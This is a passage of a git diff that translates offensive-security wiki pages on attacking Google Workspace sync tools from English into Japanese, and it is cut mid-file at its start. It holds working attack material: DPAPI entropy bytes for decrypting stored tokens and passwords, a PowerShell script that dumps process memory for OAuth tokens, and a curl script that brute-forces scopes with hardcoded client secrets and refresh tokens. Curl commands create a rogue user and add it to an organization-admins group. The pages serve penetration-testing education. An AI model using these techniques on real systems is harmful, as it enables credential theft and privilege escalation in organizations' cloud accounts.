https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
@@ -287,11 +278,9 @@ echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
そして、執筆時に得られた出力は次のとおりです:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.group
|
||||
https://www.googleapis.com/auth/admin.directory.orgunit
|
||||
@@ -302,43 +291,36 @@ https://www.googleapis.com/auth/apps.groups.settings
|
||||
https://www.googleapis.com/auth/apps.licensing
|
||||
https://www.googleapis.com/auth/contacts
|
||||
```
|
||||
|
||||
#### Create a user and add it into the group `gcp-organization-admins` to try to escalate in GCP
|
||||
|
||||
#### ユーザーを作成し、`gcp-organization-admins` グループに追加して GCP での権限昇格を試みる
|
||||
```bash
|
||||
# Create new user
|
||||
curl -X POST \
|
||||
'https://admin.googleapis.com/admin/directory/v1/users' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"primaryEmail": "deleteme@domain.com",
|
||||
"name": {
|
||||
"givenName": "Delete",
|
||||
"familyName": "Me"
|
||||
},
|
||||
"password": "P4ssw0rdStr0ng!",
|
||||
"changePasswordAtNextLogin": false
|
||||
}'
|
||||
'https://admin.googleapis.com/admin/directory/v1/users' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"primaryEmail": "deleteme@domain.com",
|
||||
"name": {
|
||||
"givenName": "Delete",
|
||||
"familyName": "Me"
|
||||
},
|
||||
"password": "P4ssw0rdStr0ng!",
|
||||
"changePasswordAtNextLogin": false
|
||||
}'
|
||||
|
||||
# Add to group
|
||||
curl -X POST \
|
||||
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"email": "deleteme@domain.com",
|
||||
"role": "OWNER"
|
||||
}'
|
||||
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"email": "deleteme@domain.com",
|
||||
"role": "OWNER"
|
||||
}'
|
||||
|
||||
# You could also change the password of a user for example
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges.
|
||||
> 新しいユーザーにSuper Aminロールを付与することはできません。なぜなら、**リフレッシュトークンに必要なスコープが不足している**ためです。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+313
-361
File diff suppressed because it is too large
Load Diff
+87
-99
@@ -2,57 +2,56 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
|
||||
これは、Googleが提供するバイナリおよびサービスで、**ADとWorkspace間でユーザーのパスワードを同期させる**ためのものです。ユーザーがADでパスワードを変更するたびに、それがGoogleに設定されます。
|
||||
|
||||
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
|
||||
`C:\Program Files\Google\Password Sync`にインストールされ、ここにバイナリ`PasswordSync.exe`があり、設定用と`password_sync_service.exe`(実行を続けるサービス)があります。
|
||||
|
||||
### GPS - Configuration
|
||||
### GPS - 設定
|
||||
|
||||
To configure this binary (and service), it's needed to **give it access to a Super Admin principal in Workspace**:
|
||||
このバイナリ(およびサービス)を設定するには、**Workspace内のスーパ管理者の権限を与える**必要があります:
|
||||
|
||||
- Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)**
|
||||
- Only available in Domain Controllers with GUI
|
||||
- Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users**
|
||||
- Very bad idea as those credentials never expired and could be misused
|
||||
- Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
|
||||
- Google require it for domain controlled without GUI
|
||||
- These creds are also stored in the registry
|
||||
- Googleで**OAuth**を介してログインし、その後**トークンをレジストリに(暗号化されて)保存**します
|
||||
- GUIのあるドメインコントローラーでのみ利用可能
|
||||
- **Workspaceユーザーを管理する**権限を持つ**GCPのサービスアカウントの資格情報**(jsonファイル)を提供
|
||||
- これらの資格情報は期限切れにならず、悪用される可能性があるため非常に悪いアイデアです
|
||||
- SAがGCPで侵害される可能性があるため、Workspaceに対してSAにアクセスを与えるのは非常に悪いアイデアです
|
||||
- GUIのないドメインコントロール用にGoogleが要求します
|
||||
- これらの資格情報もレジストリに保存されます
|
||||
|
||||
Regarding AD, it's possible to indicate it to use the current **applications context, anonymous or some specific credentials**. If the credentials option is selected, the **username** is stored inside a file in the **disk** and the **password** is **encrypted** and stored in the **registry**.
|
||||
ADに関しては、現在の**アプリケーションコンテキスト、匿名、または特定の資格情報**を使用するように指示することが可能です。資格情報オプションが選択された場合、**ユーザー名**は**ディスク**内のファイルに保存され、**パスワード**は**暗号化され**て**レジストリ**に保存されます。
|
||||
|
||||
### GPS - Dumping password and token from disk
|
||||
### GPS - ディスクからのパスワードとトークンのダンプ
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**.
|
||||
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GPS**を検出し、設定に関する情報を取得し、**パスワードとトークンを復号化する**ことができます。
|
||||
|
||||
In the file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** it's possible to find part of the configuration like the **`baseDN`** of the AD configured and the **`username`** whose credentials are being used.
|
||||
ファイル**`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**には、設定の一部として**`baseDN`**や使用されている**`username`**が見つかります。
|
||||
|
||||
In the registry **`HKLM\Software\Google\Google Apps Password Sync`** it's possible to find the **encrypted refresh token** and the **encrypted password** for the AD user (if any). Moreover, if instead of an token, some **SA credentials** are used, it's also possible to find those encrypted in that registry address. The **values** inside this registry are only **accessible** by **Administrators**.
|
||||
レジストリ**`HKLM\Software\Google\Google Apps Password Sync`**には、ADユーザーのための**暗号化されたリフレッシュトークン**と**暗号化されたパスワード**が見つかります(存在する場合)。さらに、トークンの代わりに**SAの資格情報**が使用されている場合、それらもそのレジストリアドレスに暗号化されて保存されています。このレジストリ内の**値**は**管理者**のみが**アクセス可能**です。
|
||||
|
||||
The encrypted **password** (if any) is inside the key **`ADPassword`** and is encrypted using **`CryptProtectData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
暗号化された**パスワード**(存在する場合)は**`ADPassword`**キー内にあり、**`CryptProtectData`** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、**`CryptUnprotectData`**を使用する際にこの**エントロピー**を使用します:`byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
|
||||
The encrypted token (if any) is inside the key **`AuthToken`** and is encrypted using **`CryptProtecData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Moreover, it's also encoded using base32hex with the dictionary **`0123456789abcdefghijklmnopqrstv`**.
|
||||
暗号化されたトークン(存在する場合)は**`AuthToken`**キー内にあり、**`CryptProtectData`** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、**`CryptUnprotectData`**を使用する際にこの**エントロピー**を使用します:`byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
さらに、これは**`0123456789abcdefghijklmnopqrstv`**という辞書を使ってbase32hexでエンコードされています。
|
||||
|
||||
The entropy values were found by using the tool . It was configured to monitor the calls to **`CryptUnprotectData`** and **`CryptProtectData`** and then the tool was used to launch and monitor `PasswordSync.exe` which will decrypt the configured password and auth token at the beginning and the tool will **show the values for the entropy used** in both cases:
|
||||
エントロピー値はツールを使用して見つかりました。このツールは**`CryptUnprotectData`**と**`CryptProtectData`**への呼び出しを監視するように設定され、その後、`PasswordSync.exe`を起動して監視するために使用され、設定されたパスワードと認証トークンを最初に復号化し、ツールは両方のケースで使用された**エントロピーの値**を**表示**します:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Note that it's also possible to see the **decrypted** values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).
|
||||
これらのAPIへの呼び出しの入力または出力で**復号化された**値を見ることも可能です(Winpeasが動作しなくなった場合に備えて)。
|
||||
|
||||
In case the Password Sync was **configured with SA credentials**, it will also be stored in keys inside the registry **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||
パスワード同期が**SAの資格情報で設定されている**場合、それもレジストリ**`HKLM\Software\Google\Google Apps Password Sync`**内のキーに保存されます。
|
||||
|
||||
### GPS - Dumping tokens from memory
|
||||
### GPS - メモリからのトークンのダンプ
|
||||
|
||||
Just like with GCPW, it's possible to dump the memory of the process of the `PasswordSync.exe` and the `password_sync_service.exe` processes and you will be able to find refresh and access tokens (if they have been generated already).\
|
||||
I guess you could also find the AD configured credentials.
|
||||
GCPWと同様に、`PasswordSync.exe`および`password_sync_service.exe`プロセスのメモリをダンプすることが可能で、リフレッシュトークンとアクセストークン(すでに生成されている場合)を見つけることができます。\
|
||||
ADに設定された資格情報も見つけることができると思います。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
|
||||
|
||||
<summary><code>PasswordSync.exe</code>と<code>password_sync_service.exe</code>プロセスをダンプしてトークンを検索</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
@@ -61,8 +60,8 @@ $dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Show EULA if it wasn't accepted yet for strings
|
||||
@@ -70,7 +69,7 @@ $stringsPath
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
@@ -79,94 +78,90 @@ $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GPS - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
### GPS - リフレッシュトークンからアクセストークンを生成する
|
||||
|
||||
リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます:
|
||||
```bash
|
||||
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GPS - Scopes
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
> リフレッシュトークンを持っていても、アクセストークンのためにスコープをリクエストすることはできません。なぜなら、アクセストークンを生成しているアプリケーションでサポートされている**スコープのみをリクエストできる**からです。
|
||||
>
|
||||
> Also, the refresh token is not valid in every application.
|
||||
> また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。
|
||||
|
||||
By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
デフォルトでは、GPSはユーザーとしてすべての可能なOAuthスコープにアクセスできないため、次のスクリプトを使用して、`refresh_token`を使用して`access_token`を生成するために使用できるスコープを見つけることができます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
<summary>スコープをブルートフォースするBashスクリプト</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
@@ -175,22 +170,15 @@ echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
そして、これが執筆時に得られた出力です:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
```
|
||||
|
||||
Which is the same one you get if you don't indicate any scope.
|
||||
どのスコープも指定しない場合と同じです。
|
||||
|
||||
> [!CAUTION]
|
||||
> With this scope you could **modify the password of a existing user to escalate privileges**.
|
||||
> このスコープを使用すると、**既存のユーザーのパスワードを変更して権限を昇格させることができます**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+29
-33
@@ -2,60 +2,56 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
GCDSを使用してユーザーを同期するこの方法の主な違いは、GCDSは手動でダウンロードして実行する必要があるバイナリを使用するのに対し、**Admin Directory Syncはサーバーレス**で、Googleによって管理されていることです [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories)。
|
||||
|
||||
At the moment of this writing this service is in beta and it supports 2 types of synchronization: From **Active Directory** and from **Azure Entra ID:**
|
||||
この文書の執筆時点で、このサービスはベータ版であり、2種類の同期をサポートしています:**Active Directory**からと**Azure Entra ID**から:
|
||||
|
||||
- **Active Directory:** In order to set this up you need to give **access to Google to you Active Directory environment**. And as Google only has access to GCP networks (via **VPC connectors**) you need to create a connector and then make your AD available from that connector by having it in VMs in the GCP network or using Cloud VPN or Cloud Interconnect. Then, you also need to provide **credentials** of an account with read access over the directory and **certificate** to contact via **LDAPS**.
|
||||
- **Azure Entra ID:** To configure this it's just needed to **login in Azure with a user with read access** over the Entra ID subscription in a pop-up showed by Google, and Google will keep the token with read access over Entra ID.
|
||||
- **Active Directory:** これを設定するには、**GoogleにあなたのActive Directory環境へのアクセスを許可する必要があります**。GoogleはGCPネットワーク(**VPCコネクタ**経由)にのみアクセスできるため、コネクタを作成し、そのコネクタからADを利用可能にする必要があります。これには、GCPネットワーク内のVMに配置するか、Cloud VPNまたはCloud Interconnectを使用します。その後、ディレクトリに対する読み取りアクセスを持つアカウントの**資格情報**と、**LDAPS**経由で連絡するための**証明書**を提供する必要があります。
|
||||
- **Azure Entra ID:** これを構成するには、ポップアップで表示されるGoogleの指示に従って、**読み取りアクセスを持つユーザーでAzureにログインするだけです**。GoogleはEntra IDに対する読み取りアクセスを持つトークンを保持します。
|
||||
|
||||
Once correctly configured, both options will allow to **synchronize users and groups to Workspace**, but it won't allow to configure users and groups from Workspace to AD or EntraID.
|
||||
正しく構成されると、両方のオプションは**Workspaceにユーザーとグループを同期する**ことを可能にしますが、WorkspaceからADまたはEntraIDにユーザーとグループを構成することはできません。
|
||||
|
||||
Other options that it will allow during this synchronization are:
|
||||
この同期中に許可される他のオプションは次のとおりです:
|
||||
|
||||
- Send an email to the new users to log-in
|
||||
- Automatically change their email address to the one used by Workspace. So if Workspace is using `@hacktricks.xyz` and EntraID users use `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` will be used for the users created in the account.
|
||||
- Select the **groups containing the users** that will be synced.
|
||||
- Select to **groups** to synchronize and create in Workspace (or indicate to synchronize all groups).
|
||||
- 新しいユーザーにログインするためのメールを送信
|
||||
- 彼らのメールアドレスをWorkspaceで使用されているものに自動的に変更します。したがって、Workspaceが`@hacktricks.xyz`を使用し、EntraIDユーザーが`@carloshacktricks.onmicrosoft.com`を使用している場合、`@hacktricks.xyz`がアカウント内で作成されたユーザーに使用されます。
|
||||
- 同期される**ユーザーを含むグループ**を選択します。
|
||||
- 同期してWorkspaceに作成する**グループ**を選択する(またはすべてのグループを同期するように指示する)。
|
||||
|
||||
### From AD/EntraID -> Google Workspace (& GCP)
|
||||
### AD/EntraID -> Google Workspace (& GCP)
|
||||
|
||||
If you manage to compromise an AD or EntraID you will have total control of the users & groups that are going to be synchronized with Google Workspace.\
|
||||
However, notice that the **passwords** the users might be using in Workspace **could be the same ones or not**.
|
||||
ADまたはEntraIDを侵害することができれば、Google Workspaceと同期されるユーザーとグループを完全に制御できます。\
|
||||
ただし、Workspaceでユーザーが使用している**パスワード**は**同じものである可能性もあれば、そうでない可能性もあります**。
|
||||
|
||||
#### Attacking users
|
||||
#### ユーザーへの攻撃
|
||||
|
||||
When the synchronization happens it might synchronize **all the users from AD or only the ones from a specific OU** or only the **users members of specific groups in EntraID**. This means that to attack a synchronized user (or create a new one that gets synchronized) you will need first to figure out which users are being synchronized.
|
||||
同期が行われると、**ADからすべてのユーザーを同期するか、特定のOUからのユーザーのみを同期するか、またはEntraIDの特定のグループのメンバーのみを同期する**可能性があります。これは、同期されたユーザーを攻撃する(または新しいユーザーを作成して同期させる)には、まずどのユーザーが同期されているかを特定する必要があることを意味します。
|
||||
|
||||
- Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**.
|
||||
- If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account.
|
||||
- ユーザーは**ADまたはEntraIDからパスワードを再利用している可能性があります**が、これは**ユーザーのパスワードを侵害してログインする必要がある**ことを意味します。
|
||||
- ユーザーの**メール**にアクセスできる場合、既存のユーザーのWorkspaceパスワードを**変更する**か、**新しいユーザーを作成**し、それが同期されるのを待ってアカウントを設定できます。
|
||||
|
||||
Once you access the user inside Workspace it might be given some **permissions by default**.
|
||||
Workspace内のユーザーにアクセスすると、デフォルトでいくつかの**権限が付与される**可能性があります。
|
||||
|
||||
#### Attacking Groups
|
||||
#### グループへの攻撃
|
||||
|
||||
You also need to figure out first which groups are being synchronized. Although there is the possibility that **ALL** the groups are being synchronized (as Workspace allows this).
|
||||
最初にどのグループが同期されているかを特定する必要があります。**すべて**のグループが同期されている可能性があります(Workspaceはこれを許可しています)。
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized.
|
||||
> グループとメンバーシップがWorkspaceにインポートされても、**ユーザー同期で同期されていないユーザーは、グループ同期中に作成されません**。たとえ彼らが同期されたグループのメンバーであってもです。
|
||||
|
||||
If you know which groups from Azure are being **assigned permissions in Workspace or GCP**, you could just add a compromised user (or newly created) in that group and get those permissions.
|
||||
Azureのどのグループが**WorkspaceまたはGCPで権限を割り当てられているか**を知っていれば、侵害されたユーザー(または新しく作成されたユーザー)をそのグループに追加し、その権限を取得できます。
|
||||
|
||||
There is another option to abuse existing privileged groups in Workspace. For example, the group `gcp-organization-admins@<workspace.email>` usually has high privileges over GCP.
|
||||
Workspace内の既存の特権グループを悪用する別のオプションもあります。たとえば、グループ`gcp-organization-admins@<workspace.email>`は通常、GCPに対して高い権限を持っています。
|
||||
|
||||
If the synchronization from, for example EntraID, to Workspace is **configured to replace the domain** of the imported object **with the email of Workspace**, it will be possible for an attacker to create the group `gcp-organization-admins@<entraid.email>` in EntraID, add a user in this group, and wait until the synchronization of all the groups happen.\
|
||||
**The user will be added in the group `gcp-organization-admins@<workspace.email>` escalating privileges in GCP.**
|
||||
たとえば、EntraIDからWorkspaceへの同期が**インポートされたオブジェクトのドメインをWorkspaceのメールに置き換える**ように構成されている場合、攻撃者はEntraIDに`gcp-organization-admins@<entraid.email>`というグループを作成し、そのグループにユーザーを追加し、すべてのグループの同期が行われるのを待つことができます。\
|
||||
**ユーザーはグループ`gcp-organization-admins@<workspace.email>`に追加され、GCPでの権限が昇格します。**
|
||||
|
||||
### From Google Workspace -> AD/EntraID
|
||||
### Google Workspace -> AD/EntraID
|
||||
|
||||
Note that Workspace require credentials with read only access over AD or EntraID to synchronize users and groups. Therefore, it's not possible to abuse Google Workspace to perform any change in AD or EntraID. So **this isn't possible** at this moment.
|
||||
Workspaceは、ユーザーとグループを同期するためにADまたはEntraIDに対する読み取り専用アクセスの資格情報を必要とします。したがって、Google Workspaceを悪用してADまたはEntraIDに変更を加えることはできません。したがって、**現時点ではこれは不可能です**。
|
||||
|
||||
I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**.
|
||||
また、GoogleがADの資格情報やEntraIDトークンをどこに保存しているかはわからず、**同期を再構成してもそれらを回復することはできません**(ウェブフォームには表示されず、再度提供する必要があります)。ただし、ウェブからは現在の機能を悪用して**ユーザーとグループをリストする**ことができるかもしれません。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user